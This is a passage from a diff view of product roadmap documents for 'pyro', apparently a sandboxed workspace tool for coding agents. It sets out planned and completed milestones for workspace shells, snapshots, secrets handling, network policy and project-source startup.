- after the first setup, entering the chat-host path again does not feel like
|
||||||
|
redoing the whole product onboarding
|
||||||
|
- reset and retry become cheap enough to recommend as the default repro-fix
|
||||||
|
workflow
|
||||||
|
- docs can present `pyro` as a daily coding-agent tool, not only as a special
|
||||||
|
heavy-duty sandbox
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs now show the recommended daily-use fast path
|
||||||
|
- diagnostics and help text now show whether the machine is already warm and
|
||||||
|
ready
|
||||||
|
- the repo now includes `make smoke-daily-loop` as a repeat-loop verification
|
||||||
|
scenario for the daily workflow
|
||||||
|
|
@ -0,0 +1,55 @@
|
||||||
|
# `4.6.0` Git-Tracked Project Sources
|
||||||
|
|
||||||
|
Status: Planned
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make repo-root startup and `--project-path` robust for messy real checkouts by
|
||||||
|
stopping the default chat-host path from trying to ingest every readable and
|
||||||
|
unreadable file in the working tree.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Project-aware startup should change its default local source semantics:
|
||||||
|
|
||||||
|
- bare `pyro mcp serve` from inside a Git checkout should seed from Git-tracked
|
||||||
|
files only
|
||||||
|
- `pyro mcp serve --project-path PATH` should also use Git-tracked files only
|
||||||
|
when `PATH` is inside a Git checkout
|
||||||
|
- `--repo-url` remains the clean-clone path when the user wants a host-side
|
||||||
|
clone instead of the local checkout
|
||||||
|
- explicit `workspace create --seed-path PATH` remains unchanged in this
|
||||||
|
milestone
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- apply the new semantics only to project-aware startup sources, not every
|
||||||
|
explicit directory seed
|
||||||
|
- do not silently include ignored or untracked junk in the default chat-host
|
||||||
|
path
|
||||||
|
- preserve explicit diff, export, sync push, and reset behavior
|
||||||
|
- surface the chosen project source clearly enough that users know what the
|
||||||
|
sandbox started from
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no generic SCM abstraction layer
|
||||||
|
- no silent live sync between the host checkout and the guest
|
||||||
|
- no change to explicit archive seeding semantics in this milestone
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- starting `pyro mcp serve` from a repo root no longer fails on unreadable
|
||||||
|
build artifacts or ignored runtime byproducts
|
||||||
|
- starting from `--project-path` inside a Git repo behaves the same way
|
||||||
|
- users can predict that the startup source matches the tracked project state
|
||||||
|
rather than the entire working tree
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- README, install docs, integrations docs, and public contract updated to state
|
||||||
|
what local project-aware startup actually includes
|
||||||
|
- help text updated to distinguish project-aware startup from explicit
|
||||||
|
`--seed-path` behavior
|
||||||
|
- at least one guest-backed smoke scenario added for a repo with ignored,
|
||||||
|
generated, and unreadable files
|
||||||
|
|
@ -0,0 +1,50 @@
|
||||||
|
# `4.7.0` Project Source Diagnostics And Recovery
|
||||||
|
|
||||||
|
Status: Planned
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make project-source selection and startup failures understandable enough that a
|
||||||
|
chat-host user can recover without reading internals or raw tracebacks.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
The chat-host path should expose clearer project-source diagnostics:
|
||||||
|
|
||||||
|
- `pyro doctor` should report the active project-source kind and its readiness
|
||||||
|
- `pyro mcp serve` and host helpers should explain whether they are using
|
||||||
|
tracked local files, `--project-path`, `--repo-url`, or no project source
|
||||||
|
- startup failures should recommend the right fallback:
|
||||||
|
`--project-path`, `--repo-url`, `--no-project-source`, or explicit
|
||||||
|
`seed_path`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep diagnostics focused on the chat-host path rather than inventing a broad
|
||||||
|
source-management subsystem
|
||||||
|
- prefer actionable recovery guidance over long implementation detail dumps
|
||||||
|
- make project-source diagnostics visible from the same surfaces users already
|
||||||
|
touch: help text, `doctor`, host helpers, and startup errors
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no generic repo-health audit product
|
||||||
|
- no attempt to auto-fix arbitrary local checkout corruption
|
||||||
|
- no host-specific divergence in project-source behavior
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a user can tell which project source the chat host will use before creating a
|
||||||
|
workspace
|
||||||
|
- a user who hits a project-source failure gets a concrete recovery path instead
|
||||||
|
of a raw permission traceback
|
||||||
|
- host helper doctor and repair flows can explain project-source problems, not
|
||||||
|
only MCP config problems
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs, help text, and troubleshooting updated with project-source diagnostics
|
||||||
|
and fallback guidance
|
||||||
|
- at least one smoke or targeted CLI test covering the new failure guidance
|
||||||
|
- host-helper docs updated to show when to prefer `--project-path`,
|
||||||
|
`--repo-url`, or `--no-project-source`
|
||||||
|
|
@ -0,0 +1,52 @@
|
||||||
|
# `4.8.0` First-Class Chat Environment Selection
|
||||||
|
|
||||||
|
Status: Planned
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make curated environment choice part of the normal chat-host path so full
|
||||||
|
project work is not implicitly tied to one default environment.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Environment selection should become first-class in the chat-host path:
|
||||||
|
|
||||||
|
- `pyro mcp serve` should accept an explicit environment
|
||||||
|
- `pyro host connect` should accept and preserve an explicit environment
|
||||||
|
- `pyro host print-config` and `pyro host repair` should preserve the selected
|
||||||
|
environment where relevant
|
||||||
|
- named modes should be able to recommend a default environment when one is
|
||||||
|
better for the workflow, without removing explicit user choice
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep environment selection aligned with the existing curated environment
|
||||||
|
catalog
|
||||||
|
- avoid inventing host-specific environment behavior for the same mode
|
||||||
|
- keep the default environment path simple for the quickest evaluator flow
|
||||||
|
- ensure the chosen environment is visible from generated config, help text, and
|
||||||
|
diagnostics
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no custom user-built environment pipeline in this milestone
|
||||||
|
- no per-host environment negotiation logic
|
||||||
|
- no attempt to solve arbitrary dependency installation through environment
|
||||||
|
sprawl alone
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- a user can choose a build-oriented environment such as `debian:12-build`
|
||||||
|
before connecting the chat host
|
||||||
|
- host helpers, raw server startup, and printed configs all preserve the same
|
||||||
|
environment choice
|
||||||
|
- docs can teach whole-project development without pretending every project fits
|
||||||
|
the same default environment
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- README, install docs, integrations docs, public contract, and host examples
|
||||||
|
updated to show environment selection in the chat-host path
|
||||||
|
- help text updated for raw server startup and host helpers
|
||||||
|
- at least one guest-backed smoke scenario updated to prove a non-default
|
||||||
|
environment in the chat-host flow
|
||||||
|
|
@ -0,0 +1,52 @@
|
||||||
|
# `4.9.0` Real-Repo Qualification Smokes
|
||||||
|
|
||||||
|
Status: Planned
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Replace fixture-only confidence with guest-backed proof that the chat-host path
|
||||||
|
works against messy local repos and clean-clone startup sources.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No new runtime surface is required in this milestone. The main additions are
|
||||||
|
qualification smokes and their supporting fixtures.
|
||||||
|
|
||||||
|
The new coverage should prove:
|
||||||
|
|
||||||
|
- repo-root startup from a local Git checkout with ignored, generated, and
|
||||||
|
unreadable files
|
||||||
|
- `--repo-url` clean-clone startup
|
||||||
|
- a realistic install, test, patch, rerun, and export loop
|
||||||
|
- at least one nontrivial service-start or readiness loop
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep the smoke pack guest-backed and deterministic enough to use as a release
|
||||||
|
gate
|
||||||
|
- focus on realistic repo-shape and project-loop problems, not synthetic
|
||||||
|
micro-feature assertions
|
||||||
|
- prefer a small number of representative project fixtures over a large matrix
|
||||||
|
of toy repos
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no promise to qualify every language ecosystem in one milestone
|
||||||
|
- no cloud or remote execution qualification layer
|
||||||
|
- no broad benchmark suite beyond what is needed to prove readiness
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- the repo has one clear smoke target for real-repo qualification
|
||||||
|
- at least one local-checkout smoke proves the new Git-tracked startup behavior
|
||||||
|
- at least one clean-clone smoke proves the `--repo-url` path
|
||||||
|
- failures in these smokes clearly separate project-source issues from runtime
|
||||||
|
or host issues
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- new guest-backed smoke targets and any supporting fixtures
|
||||||
|
- roadmap, use-case docs, and release/readiness docs updated to point at the
|
||||||
|
new qualification path
|
||||||
|
- troubleshooting updated with the distinction between shaped use-case smokes
|
||||||
|
and real-repo qualification smokes
|
||||||
|
|
@ -0,0 +1,53 @@
|
||||||
|
# `5.0.0` Whole-Project Sandbox Development
|
||||||
|
|
||||||
|
Status: Planned
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Reach the point where it is credible to tell a user they can develop a real
|
||||||
|
project inside sandboxes, not just validate, inspect, or patch one.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No new generic VM breadth is required here. This milestone should consolidate
|
||||||
|
the earlier pieces into one believable full-project product story:
|
||||||
|
|
||||||
|
- robust project-aware startup
|
||||||
|
- explicit environment selection in the chat-host path
|
||||||
|
- summaries, reset, export, and service workflows that hold up during longer
|
||||||
|
work loops
|
||||||
|
- qualification targets that prove a nontrivial development cycle
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep the product centered on the chat-host workspace path rather than a broad
|
||||||
|
CLI or SDK platform story
|
||||||
|
- use the existing named modes and generic workspace path where they fit, but
|
||||||
|
teach one end-to-end full-project development walkthrough
|
||||||
|
- prioritize daily development credibility over adding new low-level sandbox
|
||||||
|
surfaces
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no attempt to become a generic remote dev environment platform
|
||||||
|
- no scheduler, queue, or CI matrix abstractions
|
||||||
|
- no claim that every possible project type is equally well supported
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- the docs contain one end-to-end “develop a project in sandboxes” walkthrough
|
||||||
|
- that walkthrough covers dependency install, tests, patching, reruns, review,
|
||||||
|
and export, with app/service startup when relevant
|
||||||
|
- at least one guest-backed qualification target proves the story on a
|
||||||
|
nontrivial project
|
||||||
|
- the readiness docs can honestly say whole-project development is supported
|
||||||
|
with explicit caveats instead of hedged aspirational language
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- README, install docs, integrations docs, use-case docs, and public contract
|
||||||
|
updated to include the whole-project development story
|
||||||
|
- at least one walkthrough asset or transcript added for the new end-to-end
|
||||||
|
path
|
||||||
|
- readiness and troubleshooting docs updated with the actual supported scope and
|
||||||
|
remaining caveats
|
||||||
50
docs/roadmap/task-workspace-ga.md
Normal file
50
docs/roadmap/task-workspace-ga.md
Normal file
|
|
@ -0,0 +1,50 @@
|
||||||
|
# Task Workspace GA Roadmap
|
||||||
|
|
||||||
|
This roadmap turns the agent-workspace vision into release-sized milestones.
|
||||||
|
|
||||||
|
Current baseline is `3.1.0`:
|
||||||
|
|
||||||
|
- workspace persistence exists and the public surface is now workspace-first
|
||||||
|
- host crossing currently covers create-time seeding, later sync push, and explicit export
|
||||||
|
- persistent PTY shell sessions exist alongside one-shot `workspace exec`
|
||||||
|
- immutable create-time baselines now power whole-workspace diff
|
||||||
|
- multi-service lifecycle exists with typed readiness and aggregate workspace status counts
|
||||||
|
- named snapshots and full workspace reset now exist
|
||||||
|
- explicit secrets now exist for guest-backed workspaces
|
||||||
|
- explicit workspace network policy and localhost published service ports now exist
|
||||||
|
|
||||||
|
Locked roadmap decisions:
|
||||||
|
|
||||||
|
- no backward compatibility goal for the current `task_*` naming
|
||||||
|
- workspace-first naming lands first, before later features
|
||||||
|
- snapshots are real named snapshots, not only reset-to-baseline
|
||||||
|
|
||||||
|
Every milestone below must update CLI, SDK, and MCP together. Each milestone is
|
||||||
|
also expected to update:
|
||||||
|
|
||||||
|
- `README.md`
|
||||||
|
- install/first-run docs
|
||||||
|
- `docs/public-contract.md`
|
||||||
|
- help text and runnable examples
|
||||||
|
- at least one real Firecracker smoke scenario
|
||||||
|
|
||||||
|
## Milestones
|
||||||
|
|
||||||
|
1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done
|
||||||
|
2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done
|
||||||
|
3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done
|
||||||
|
4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done
|
||||||
|
5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done
|
||||||
|
6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done
|
||||||
|
7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done
|
||||||
|
8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done
|
||||||
|
9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) - Done
|
||||||
|
|
||||||
|
## Roadmap Status
|
||||||
|
|
||||||
|
The planned workspace roadmap is complete.
|
||||||
|
|
||||||
|
- `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without
|
||||||
|
changing the stable workspace-first core contract.
|
||||||
|
- The next follow-on milestones now live in [llm-chat-ergonomics.md](llm-chat-ergonomics.md) and
|
||||||
|
focus on making the stable workspace product feel trivial from chat-driven LLM interfaces.
|
||||||
|
|
@ -0,0 +1,45 @@
|
||||||
|
# `2.10.0` Network Policy And Host Port Publication
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Replace the coarse current network toggle with an explicit workspace network
|
||||||
|
policy and make services host-probeable through controlled published ports.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- `workspace create` gains explicit network policy instead of a simple boolean
|
||||||
|
- `workspace service start` gains published-port configuration
|
||||||
|
- `workspace service status/list` returns published-port information
|
||||||
|
|
||||||
|
Recommended policy model:
|
||||||
|
|
||||||
|
- `off`
|
||||||
|
- `egress`
|
||||||
|
- `egress+published-ports`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Host port publication is localhost-only by default.
|
||||||
|
- Ports remain attached to services, not generic VM networking.
|
||||||
|
- Published-port details are queryable from CLI, SDK, and MCP.
|
||||||
|
- Keep network access explicit and visible in the workspace spec.
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no remote exposure defaults
|
||||||
|
- no advanced ingress routing
|
||||||
|
- no general-purpose networking product surface
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- start a service, wait for readiness, probe it from the host, inspect logs,
|
||||||
|
then stop it
|
||||||
|
- keep a workspace fully offline and confirm no implicit network access exists
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs that show app validation from the host side
|
||||||
|
- examples that use typed readiness plus localhost probing
|
||||||
|
- real Firecracker smoke for published-port probing
|
||||||
|
|
@ -0,0 +1,72 @@
|
||||||
|
# `2.4.0` Workspace Contract Pivot
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make the public product read as a workspace-first sandbox instead of a
|
||||||
|
task-flavored alpha by replacing the `task_*` surface with `workspace_*`.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- CLI:
|
||||||
|
- `pyro workspace create`
|
||||||
|
- `pyro workspace sync push`
|
||||||
|
- `pyro workspace exec`
|
||||||
|
- `pyro workspace status`
|
||||||
|
- `pyro workspace logs`
|
||||||
|
- `pyro workspace delete`
|
||||||
|
- SDK:
|
||||||
|
- `create_workspace`
|
||||||
|
- `push_workspace_sync`
|
||||||
|
- `exec_workspace`
|
||||||
|
- `status_workspace`
|
||||||
|
- `logs_workspace`
|
||||||
|
- `delete_workspace`
|
||||||
|
- MCP:
|
||||||
|
- `workspace_create`
|
||||||
|
- `workspace_sync_push`
|
||||||
|
- `workspace_exec`
|
||||||
|
- `workspace_status`
|
||||||
|
- `workspace_logs`
|
||||||
|
- `workspace_delete`
|
||||||
|
|
||||||
|
Field renames:
|
||||||
|
|
||||||
|
- `task_id` -> `workspace_id`
|
||||||
|
- `source_path` on create -> `seed_path`
|
||||||
|
- `task.json` / `tasks/` -> `workspace.json` / `workspaces/`
|
||||||
|
|
||||||
|
No compatibility aliases. Remove `task_*` from the public contract in the same
|
||||||
|
release.
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Keep current behavior intact under the new names:
|
||||||
|
- persistent workspace creation
|
||||||
|
- create-time seed
|
||||||
|
- sync push
|
||||||
|
- exec/status/logs/delete
|
||||||
|
- Rename public result payloads and CLI help text to workspace language.
|
||||||
|
- Move on-disk persisted records to `workspaces/` and update rehydration logic
|
||||||
|
accordingly.
|
||||||
|
- Update examples, docs, and tests to stop using task terminology.
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no shell sessions yet
|
||||||
|
- no export, diff, services, snapshots, reset, or secrets in this release
|
||||||
|
- no attempt to preserve old CLI/SDK/MCP names
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- create a seeded workspace, sync host changes into it, exec inside it, inspect
|
||||||
|
status/logs, then delete it
|
||||||
|
- the same flow works from CLI, SDK, and MCP with only workspace-first names
|
||||||
|
- one-shot `pyro run` remains unchanged
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- replace task language in README/install/first-run/public contract/help
|
||||||
|
- update runnable examples to use `workspace_*`
|
||||||
|
- add one real Firecracker smoke for create -> sync push -> exec -> delete
|
||||||
65
docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md
Normal file
65
docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md
Normal file
|
|
@ -0,0 +1,65 @@
|
||||||
|
# `2.5.0` PTY Shell Sessions
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Add persistent interactive shells so an agent can inhabit a workspace instead
|
||||||
|
of only submitting one-shot `workspace exec` calls.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- CLI:
|
||||||
|
- `pyro workspace shell open`
|
||||||
|
- `pyro workspace shell read`
|
||||||
|
- `pyro workspace shell write`
|
||||||
|
- `pyro workspace shell signal`
|
||||||
|
- `pyro workspace shell close`
|
||||||
|
- SDK:
|
||||||
|
- `open_shell`
|
||||||
|
- `read_shell`
|
||||||
|
- `write_shell`
|
||||||
|
- `signal_shell`
|
||||||
|
- `close_shell`
|
||||||
|
- MCP:
|
||||||
|
- `shell_open`
|
||||||
|
- `shell_read`
|
||||||
|
- `shell_write`
|
||||||
|
- `shell_signal`
|
||||||
|
- `shell_close`
|
||||||
|
|
||||||
|
Core shell identity:
|
||||||
|
|
||||||
|
- `workspace_id`
|
||||||
|
- `shell_id`
|
||||||
|
- PTY size
|
||||||
|
- working directory
|
||||||
|
- running/stopped state
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Shells are persistent PTY sessions attached to one workspace.
|
||||||
|
- Output buffering is append-only with cursor-based reads so callers can poll
|
||||||
|
incrementally.
|
||||||
|
- Shell sessions survive separate CLI/SDK/MCP calls and are cleaned up by
|
||||||
|
`workspace delete`.
|
||||||
|
- Keep `workspace exec` as the non-interactive path; do not merge the two
|
||||||
|
models.
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no terminal UI beyond structured shell I/O
|
||||||
|
- no service lifecycle changes in this milestone
|
||||||
|
- no export/diff/snapshot/reset changes yet
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- open a shell, write commands, read output in chunks, send SIGINT, then close
|
||||||
|
- reopen a new shell in the same workspace after closing the first one
|
||||||
|
- delete a workspace with an open shell and confirm the shell is cleaned up
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- shell-focused example in CLI, SDK, and MCP docs
|
||||||
|
- help text that explains shell vs exec clearly
|
||||||
|
- real Firecracker smoke for open -> write -> read -> signal -> close
|
||||||
|
|
@ -0,0 +1,49 @@
|
||||||
|
# `2.6.0` Structured Export And Baseline Diff
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Complete the next explicit host-crossing step by letting a workspace export
|
||||||
|
files back to the host and diff itself against its immutable create-time
|
||||||
|
baseline.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- CLI:
|
||||||
|
- `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH`
|
||||||
|
- `pyro workspace diff WORKSPACE_ID`
|
||||||
|
- SDK:
|
||||||
|
- `export_workspace`
|
||||||
|
- `diff_workspace`
|
||||||
|
- MCP:
|
||||||
|
- `workspace_export`
|
||||||
|
- `workspace_diff`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Capture a baseline snapshot at `workspace create`.
|
||||||
|
- `workspace diff` compares current `/workspace` against that baseline.
|
||||||
|
- `workspace export` exports files or directories only from paths under
|
||||||
|
`/workspace`.
|
||||||
|
- Keep output structured:
|
||||||
|
- unified patch text for text files
|
||||||
|
- summary entries for binary or type changes
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no named snapshots yet
|
||||||
|
- no reset yet
|
||||||
|
- no export outside `/workspace`
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- seed workspace, mutate files, diff against baseline, export a file to host
|
||||||
|
- sync push content after create, then confirm diff reports the synced changes
|
||||||
|
- unchanged workspace returns an empty diff summary cleanly
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs that distinguish seed, sync push, diff, and export
|
||||||
|
- example showing reproduce -> mutate -> diff -> export
|
||||||
|
- real Firecracker smoke for diff and export
|
||||||
|
|
@ -0,0 +1,52 @@
|
||||||
|
# `2.7.0` Service Lifecycle And Typed Readiness
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make app-style workspaces practical by adding first-class services and typed
|
||||||
|
readiness checks.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- CLI:
|
||||||
|
- `pyro workspace service start`
|
||||||
|
- `pyro workspace service list`
|
||||||
|
- `pyro workspace service status`
|
||||||
|
- `pyro workspace service logs`
|
||||||
|
- `pyro workspace service stop`
|
||||||
|
- SDK/MCP mirror the same shape
|
||||||
|
|
||||||
|
Readiness types:
|
||||||
|
|
||||||
|
- file
|
||||||
|
- TCP
|
||||||
|
- HTTP
|
||||||
|
- command as an escape hatch
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Support multiple named services per workspace from the first release.
|
||||||
|
- Service state and logs live outside `/workspace`.
|
||||||
|
- `workspace status` stays aggregate; detailed service inspection lives under
|
||||||
|
`workspace service ...`.
|
||||||
|
- Prefer typed readiness in docs/examples instead of shell-heavy readiness
|
||||||
|
commands.
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no host-visible port publication yet
|
||||||
|
- no secrets or auth wiring in this milestone
|
||||||
|
- no shell/service unification
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- start two services in one workspace, wait for readiness, inspect logs and
|
||||||
|
status, then stop them cleanly
|
||||||
|
- service files do not appear in `workspace diff` or `workspace export`
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- cold-start validation example that uses services
|
||||||
|
- CLI help/examples for typed readiness
|
||||||
|
- real Firecracker smoke for multi-service start/status/logs/stop
|
||||||
|
|
@ -0,0 +1,44 @@
|
||||||
|
# `2.8.0` Named Snapshots And Reset
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Turn reset into a first-class workflow primitive and add explicit named
|
||||||
|
snapshots, not only the implicit create-time baseline.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- CLI:
|
||||||
|
- `pyro workspace snapshot create`
|
||||||
|
- `pyro workspace snapshot list`
|
||||||
|
- `pyro workspace snapshot delete`
|
||||||
|
- `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_ID|baseline]`
|
||||||
|
- SDK/MCP mirrors
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Baseline snapshot is created automatically at workspace creation.
|
||||||
|
- Named snapshots are explicit user-created checkpoints.
|
||||||
|
- `workspace reset` recreates the full sandbox, not just `/workspace`.
|
||||||
|
- Reset may target either the baseline or a named snapshot.
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no secrets in this milestone
|
||||||
|
- no live host-sharing or mount semantics
|
||||||
|
- no branching/merge workflow on snapshots
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- mutate workspace, create named snapshot, mutate again, reset to snapshot,
|
||||||
|
confirm state restoration
|
||||||
|
- mutate service and `/tmp` state, reset to baseline, confirm full sandbox
|
||||||
|
recreation
|
||||||
|
- diff after reset is clean when expected
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs that teach reset over repair explicitly
|
||||||
|
- example showing baseline reset and named snapshot reset
|
||||||
|
- real Firecracker smoke for snapshot create -> mutate -> reset
|
||||||
43
docs/roadmap/task-workspace-ga/2.9.0-secrets.md
Normal file
43
docs/roadmap/task-workspace-ga/2.9.0-secrets.md
Normal file
|
|
@ -0,0 +1,43 @@
|
||||||
|
# `2.9.0` Secrets
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Add explicit secrets so workspaces can handle private dependencies,
|
||||||
|
authenticated startup, and secret-aware shell or exec flows without weakening
|
||||||
|
the fail-closed sandbox model.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
- `workspace create` gains secrets
|
||||||
|
- `workspace exec`, `workspace shell open`, and `workspace service start` gain
|
||||||
|
per-call secret-to-env mapping
|
||||||
|
- SDK and MCP mirror the same model
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- Support literal secrets and host-file-backed secrets.
|
||||||
|
- Materialize secrets outside `/workspace`.
|
||||||
|
- Secret values never appear in status, logs, diffs, or exports.
|
||||||
|
- Reset recreates secrets from persisted secret material, not from the original
|
||||||
|
host source path.
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no post-create secret editing
|
||||||
|
- no secret listing beyond safe metadata
|
||||||
|
- no mount-based secret transport
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- create a workspace with a literal secret and a file-backed secret
|
||||||
|
- run exec and shell flows with mapped env vars
|
||||||
|
- start a service that depends on a secret-backed readiness path
|
||||||
|
- confirm redaction in command, shell, and service output
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs for private dependency workflows
|
||||||
|
- explicit redaction tests
|
||||||
|
- real Firecracker smoke for secret-backed exec or service start
|
||||||
|
|
@ -0,0 +1,39 @@
|
||||||
|
# `3.0.0` Stable Workspace Product
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Freeze the workspace-first public contract and promote the product from a
|
||||||
|
one-shot runner with extras to a stable agent workspace.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No new capability is required in this milestone. The main change is stability:
|
||||||
|
|
||||||
|
- workspace-first names are the only public contract
|
||||||
|
- shell, sync, export, diff, services, snapshots, reset, secrets, and network
|
||||||
|
policy are all part of the stable product surface
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- remove remaining beta/alpha language from workspace docs
|
||||||
|
- rewrite landing docs so the workspace product is first-class and `pyro run`
|
||||||
|
is the entry point rather than the center
|
||||||
|
- lock the stable contract in `docs/public-contract.md`
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no new secondary tooling
|
||||||
|
- no job-runner, queue, or CI abstractions
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- all core vision workflows are documented and runnable from CLI, SDK, and MCP
|
||||||
|
- the repo no longer presents the workspace model as provisional
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- top-level README repositioning around the workspace product
|
||||||
|
- stable public contract doc for `3.x`
|
||||||
|
